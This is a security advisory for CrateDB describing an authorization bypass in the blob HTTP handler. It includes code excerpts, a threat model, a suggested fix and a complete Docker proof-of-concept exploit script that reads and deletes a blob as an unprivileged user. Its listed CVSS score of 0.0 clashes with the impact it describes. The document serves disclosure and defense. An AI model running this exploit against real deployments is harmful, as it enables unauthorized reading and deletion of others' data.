PT-2026-55217 · Maven · Io.Crate:Crate
Published
2026-07-01
·
Updated
2026-07-01
·
CVE-2026-49989
CVSS v3.1
0.0
None
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N |
Component:
io.crate.protocols.http.HttpBlobHandler
Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)
Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.Summary
CrateDB has two ways to access blob storage: SQL (
SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE / blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret blobs fails for a user who has no grants on the table.The HTTP path authenticates the request but never asks
AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET / blobs/secret blobs/<digest>.Where it lives
server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:java
// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
if (possibleRedirect(index, digest)) {
return;
}
if (method.equals(HttpMethod.GET)) {
get(index, digest);
reset();
} else if (method.equals(HttpMethod.HEAD)) {
head(index, digest);
} else if (method.equals(HttpMethod.PUT)) {
put(content, index, digest);
} else if (method.equals(HttpMethod.DELETE)) {
delete(index, digest);
} else {
simpleResponse(HttpResponseStatus.METHOD NOT ALLOWED);
}
}No
AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:java
// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
if (range != null) {
partialContentResponse(index, digest);
} else {
fullContentResponse(index, digest);
}
}grep -n 'AccessControl|ensureMaySee|checkPermission' HttpBlobHandler.java returns nothing.The APIs that should be called here, used by the SQL path before every statement is dispatched:
server/src/main/java/io/crate/auth/AccessControl.java(interface, declaresensureMayExecute(...)andensureMaySee(...))server/src/main/java/io/crate/auth/AccessControlImpl.java:133(concrete impl)
Threat model
Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel.
HEAD / blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.| Capability | Needs digest? | Impact |
|---|---|---|
| Read or delete a blob | yes | High when digests leak, nil otherwise |
| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |
Digest secrecy is not a documented security boundary.
Reproduction
End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.
./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:- Admin uploads a blob via
PUT / blobs/.... Success (201). - Admin reads via SQL. Success.
- Unprivileged user reads via SQL. Denied (correct, this is what we want).
- Unprivileged user reads via
GET / blobs/....200 OKplus the blob payload (the bug). - Unprivileged user deletes via
DELETE / blobs/....204 No Content(the bug, again). - Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.
Sample output from a real run:
=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR: Schema 'blob' unknown ...
=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin
=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASSPoC files
docker-compose.yml
yaml
services:
cratedb:
image: crate:6.2.7
ports:
- "4200:4200"
- "5432:5432"
command: >
crate
-Cnetwork.host=0.0.0.0
-Cdiscovery.type=single-node
-Cauth.host based.enabled=true
-Cauth.host based.config.0.user=crate
-Cauth.host based.config.0.method=trust
-Cauth.host based.config.99.method=password
-Cblobs.path=/data/blobs
environment:
- CRATE HEAP SIZE=512m
healthcheck:
test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
interval: 5s
timeout: 5s
retries: 12HBA rule 0 trusts the built-in
crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default site bind, which fails when Docker's interfaces have no site-local address.setup.sql
sql
-- Create the blob table
CREATE BLOB TABLE secret blobs;
-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret blobs TO admin;
-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged userexploit.sh
bash
#!/usr/bin/env bash
set -euo pipefail
CRATE HTTP="http://localhost:4200"
BLOB TABLE="secret blobs"
BLOB CONTENT="TOP SECRET: this data should only be accessible to admin"
RED='033[0;31m'
GREEN='033[0;32m'
YELLOW='033[1;33m'
CYAN='033[0;36m'
NC='033[0m'
header() { printf "
${CYAN}=== %s ===${NC}
" "$1"; }
pass() { printf "${GREEN}[PASS]${NC} %s
" "$1"; }
fail() { printf "${RED}[FAIL]${NC} %s
" "$1"; }
info() { printf "${YELLOW}[INFO]${NC} %s
" "$1"; }
sql as() {
local user="$1" pass="$2" query="$3"
PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}
# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"
HTTP CODE=$(curl -s -o /dev/null -w "%{http code}"
-u admin:adminpass
-XPUT "${CRATE HTTP}/ blobs/${BLOB TABLE}/${DIGEST}"
-d "$BLOB CONTENT")
if [[ "$HTTP CODE" == "201" || "$HTTP CODE" == "409" ]]; then
pass "Admin uploaded blob via HTTP (HTTP $HTTP CODE)"
else
fail "Admin blob upload returned HTTP $HTTP CODE"
exit 1
fi
# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql as admin adminpass "SELECT digest FROM blob.secret blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
pass "Admin can query blob.secret blobs via SQL: digest=$RESULT"
else
fail "Admin SQL query returned no results"
fi
# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql as unprivileged unpriv123 "SELECT digest FROM blob.secret blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied|permission|unauthorized|not authorized"; then
pass "Unprivileged user correctly denied SQL access"
info "Server response: $(echo "$RESULT" | head -1)"
else
fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi
# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP CODE=$(curl -s -o /tmp/blob out -w "%{http code}"
-u unprivileged:unpriv123
"${CRATE HTTP}/ blobs/${BLOB TABLE}/${DIGEST}")
BODY=$(cat /tmp/blob out)
if [[ "$HTTP CODE" == "200" ]]; then
fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP CODE) -- AUTHORIZATION BYPASS"
info "Retrieved content: ${BODY}"
else
pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP CODE=$(curl -s -o /dev/null -w "%{http code}"
-u unprivileged:unpriv123
-XDELETE "${CRATE HTTP}/ blobs/${BLOB TABLE}/${DIGEST}")
if [[ "$HTTP CODE" == "204" || "$HTTP CODE" == "200" ]]; then
fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP CODE) -- AUTHORIZATION BYPASS"
else
pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql as admin adminpass "SELECT count(*) FROM blob.secret blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
info "Blob still exists (count=$RESULT)"
firun.sh
bash
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"
RED='033[0;31m'
GREEN='033[0;32m'
YELLOW='033[1;33m'
NC='033[0m'
info() { printf "${YELLOW}[INFO]${NC} %s
" "$1"; }
# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
DC=(docker-compose)
else
echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
exit 2
fi
cleanup() {
info "Stopping containers..."
"${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT
info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d
info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
break
fi
sleep 1
done
# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
break
fi
sleep 1
done
info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql
# Give CrateDB a moment to propagate user/privilege changes
sleep 2
info "Running exploit..."
echo ""
bash exploit.shFixing
Plumb
AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.| HTTP verb | SQL equivalent | Required privilege on blob.<table> |
|---|---|---|
GET / HEAD | SELECT | DQL |
PUT | INSERT / UPDATE | DML |
DELETE | DELETE | DML |
Alternatives I'd avoid: pushing checks down into
BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).Notes
Deployments that don't use
BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.Fix
Incorrect Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Io.Crate:Crate